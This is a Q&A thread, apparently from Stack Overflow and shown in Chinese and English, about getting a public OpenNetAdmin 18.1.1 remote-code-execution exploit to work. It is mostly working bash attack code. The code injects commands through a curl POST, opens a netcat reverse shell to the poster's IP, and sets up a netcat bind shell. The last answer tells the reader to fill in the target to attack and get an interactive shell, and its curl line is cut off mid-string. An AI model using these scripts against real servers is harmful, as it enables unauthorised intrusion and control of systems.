【问题标题】:Bash Syntax Problems for Exploit漏洞利用的 Bash 语法问题
【发布时间】:2020-01-27 08:51:55
【问题描述】:

我在 OpenNetAdmin 18.1.1 的exploit-db 中找到了exploit

我必须调整这个脚本,让它对我有用,但我没有完成。 这是我目前所拥有的:

URL="xxx.xxx.xxx.xxx/ona"
while true;do
 echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

输出只是:

{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }

我在语法上有点挣扎。

我做错了什么?

【问题讨论】:

  • 你为什么要这样修改漏洞利用脚本?如果您在exploit-db.com/exploits/47691 看到原始的,它只回显一个 $ 符号,模拟一个 shell,要求您在下一行中启动一个命令,curl 利用漏洞
  • 你需要更清楚地解释你试图用这条线做什么。如果您想将nc 的输出读入cmd,那么可能是read cmd < <(nc -e /bin/sh xxx.xxx.xxx.xxx 4444)
  • 好吧,也许你希望 nc 命令成为你的 cmd,在这种情况下,只需执行 cmd="nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "。我猜你不需要 while 循环,因为你只想启动那个命令
  • 我想用这个nc -e /bin/sh xxx.xxx.xxx.xxx 4444 创建一个反向shell 这个漏洞通常如何使用?您将如何使用 t?
  • 看起来您刚刚在 Web 应用程序中运行 /bin/sh。尝试更改要在远程服务器上运行的命令。例如“uname -a”或“whoami”,以查看您是否有 RCE。 (如果使用此漏洞,Web 应用程序没有响应任何内容,则该命令可能正在运行,在这种情况下,如果您尝试使用反向 shell,可能有防火墙阻止您)

标签: linux bash syntax exploit shellcode


【解决方案1】:

如果您只需要启动 nc 程序,这就是您想要的。该脚本假设远程机器是Linux机器,使用-e支持编译/bin/bash和nc(netcat)

#!/bin/bash
URL="http://.../ona" 
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

【讨论】:

  • 但是我应该把目标 IP URL 放在哪里呢? 'x' 将是我自己的 IP 地址,用于连接到我的机器
  • 你必须把它放在 URl 变量中,它不应该是一个 IP 地址,而是一个 http url。要在远程机器上打开后门,语法是 nc -l -p 4444 -e /bin/bash。为什么要远程机器连接到本地机器上的后门?
【解决方案2】:

我找到了适合的解决方案:

#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
 echo -n "{/bin/sh -i}"; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done

只需将 xxx.xxx.xxx.xxx 替换为你要攻击的目标,并将脚本保存为shell.sh

现在使用./shell.sh 运行脚本,您将在目标系统上获得一个交互式shell。

验证您现在可以输入pwdid 并检查您是否成功。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-06-28
    • 1970-01-01
    • 2012-06-02
    • 2017-11-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-05-12
    相关资源
    最近更新 更多